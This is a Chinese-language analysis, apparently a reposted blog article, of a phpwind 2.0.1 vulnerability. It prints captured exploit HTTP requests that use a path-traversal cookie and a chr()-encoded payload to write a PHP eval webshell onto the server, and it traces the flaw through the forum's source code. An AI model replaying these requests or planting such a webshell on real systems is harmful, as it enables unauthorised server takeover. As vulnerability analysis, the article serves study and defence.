貓貓傳給我一個(gè)phpwind2.0.1漏洞利用程序，可以直接在目錄中寫入一個(gè)木馬。怎么說(shuō)呢，這個(gè)漏洞是pinkeyes發(fā)現(xiàn)的，本文旨在分析這個(gè)漏洞的思路。直到發(fā)現(xiàn)這個(gè)漏洞是怎么產(chǎn)生的，我還在冒虛汗中，同時(shí)pinkeyes 的睿智深深的打動(dòng)了我，原來(lái)我才明白什么才是真正的技術(shù)含量。且聽(tīng)我慢慢道來(lái)：

　　在程序運(yùn)行時(shí)，我抓了一個(gè)包：

　　GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=

　　(chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w),

　　chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).

　　chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?> HTTP/1.1

　　Content-Type: text/html

　　Cookie:skinco=../../require/hidden;

　　Host: www.5a609.com:81

　　Accept: text/html, */*

　　User-Agent: Mozilla/3.0 (compatible; Indy Library)

　　GET /phpwind//attachment/set.php HTTP/1.1

　　Content-Type: text/html

　　Cookie:skinco=../../require/hidden;

　　Host: www.5a609.com:81

　　Accept: text/html, */*

　　User-Agent: Mozilla/3.0 (compatible; Indy Library)

　　Chr()里的那些東西我查了一下ascii字符表，得到的是這樣的：

　　?>

　　很顯然是在error.php里寫入一行php木馬： 。

　　所以關(guān)鍵是：

　　GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出處。這兩個(gè)東西很重要!于是我下了一個(gè)phpwind 2.0.1的程序看看，開(kāi)始以為是job.php有問(wèn)題。進(jìn)入job.php中，只發(fā)現(xiàn)如下代碼：

　　elseif($previewjob=='preview'){

　　require_once(R_P.'require/bbscode.php');

　　require_once(R_P.'header.php');

　　if (empty($skin)) $skin=$db_defaultstyle;

　　if (file_exists(R_P."data/style/$skin.php")){

　　include_once("data/style/$skin.php");

　　}

　　好，在失望的同時(shí)也發(fā)現(xiàn)了$skin一定有問(wèn)題，job.php文件頭有個(gè)：require_once("./global.php");

　　接著我們來(lái)看看global.php里面的$skin參數(shù)吧：

　　if ($db_refreshtime!=0){

　　if('C:'.$REQUEST_URI==$lastpath && $onbbstime<$db_refreshtime){

　　!$_COOKIE['winduid'] && $groupid='guest';

　　$skin=$skinco ? $skinco : $db_defaultstyle;

　　Showmsg("refresh_limit");

　　}

　　哦，只要我們定義了$skinco就可以滿足$skin了!所以再找找$skinco吧，$skinco只有一處解釋，其后，并沒(méi)有做任何過(guò)濾：

　　if($skinco && file_exists(R_P."data/style/$skinco.php")){

　　Cookie('skinco',$skinco);

　　哈哈，好輕松，只要存在就可以?這樣只要構(gòu)造一個(gè)cookie就完全可以實(shí)現(xiàn)。咦?$skinco我們好象哪里見(jiàn)過(guò)。果然，就是上面抓的包里面的：

　　Cookie:skinco=../../require/hidden;

　　這樣就更加證明我的思路是正確的，風(fēng)回路轉(zhuǎn)呀。又不得不佩服這樣精彩的手法，按照pinkeyes的思路：構(gòu)造后應(yīng)該是這樣的：

　　data/style/../../require/hidden.php

　　也就是./require/hidden.php。

　　這樣也就是滿足了job.php中的

　　if (file_exists(R_P."data/style/$skin.php")){

　　include_once("data/style/$skin.php");

　　到這里，先告一段落，我們回個(gè)頭想想。我們分析這么多就是pinkeyes要為了包含一個(gè)文件：./require/hidden.php。這就奇怪了，為什么這么pinkeyes要千方百計(jì)的來(lái)包含 ./require/hidden.php呢?直接利用不可以嗎?這個(gè)hidden.php到底是個(gè)什么樣的文件呢?恩，下面的解釋會(huì)讓你有一個(gè)滿意的答案。

　　我小心翼翼的打開(kāi)hidden.php

　　!function_exists('readover') && exit('Forbidden');

　　$newonline="<>t$timestampt$onlineipt$fidwtt$tidwtt$groupidt$wherebbsyout$acttimet$uidt$windidt";

　　$newonline=str_pad($newonline,$db_olsize)."n";

　　$onlineuser=readover(R_P.$D_name);

　　if($offset=strpos($onlineuser,"t".$windid."t")){

　　$inselectfile='N';

　　$offset=strpos($onlineuser,"n",$offset-$db_olsize);$offset+=1;/*會(huì)員名不在開(kāi)始需要轉(zhuǎn)換指針*/

　　writeinline(R_P.$D_name,$newonline,$offset);

　　}elseif($offset=strpos($onlineuser,str_pad(' ',$db_olsize)."n")){

　　writeinline(R_P.$D_name,$newonline,$offset);

　　}else{

　　writeover(R_P.$D_name,$newonline,"ab");

　　}

　　?>

　　看到這里，所有的疑團(tuán)都解開(kāi)了!

　　1.原來(lái)文件頭多了個(gè)

　　!function_exists('readover') && exit('Forbidden');

　　這樣直接訪問(wèn)是不允許的，后面的代碼也不會(huì)執(zhí)行，這樣我明白pinkeyes的苦心多走彎路來(lái)努力用include來(lái)包含這個(gè)文件

　　2 這個(gè)文件里有writeline()是可以寫入木馬的。$newonline正好也定義了$tidwt，所以最后的writeline()把$tidwt也寫進(jìn)去了。

　　寫入到了d_name 所定義的set.php這個(gè)臨時(shí)文件里。本來(lái)這樣就可以寫入一個(gè)小木馬了，只要使$tidwt為編碼：就可以的。但是可能是pinkeyes考慮到set.php里的東西比較亂。所以煞費(fèi)苦心的用

　　?>

　　寫入一個(gè)更簡(jiǎn)單的木馬到error.php里!這樣才多了我們抓的第二個(gè)包：

　　GET /phpwind//attachment/set.php HTTP/1.1

　　。。。。。。。。。

　　后記：我感覺(jué)自己寫偵探小說(shuō)還不錯(cuò)，技術(shù)嘛，哎。。。。

（本文由責(zé)任編輯 pasu  整理發(fā)布）

最新評(píng)論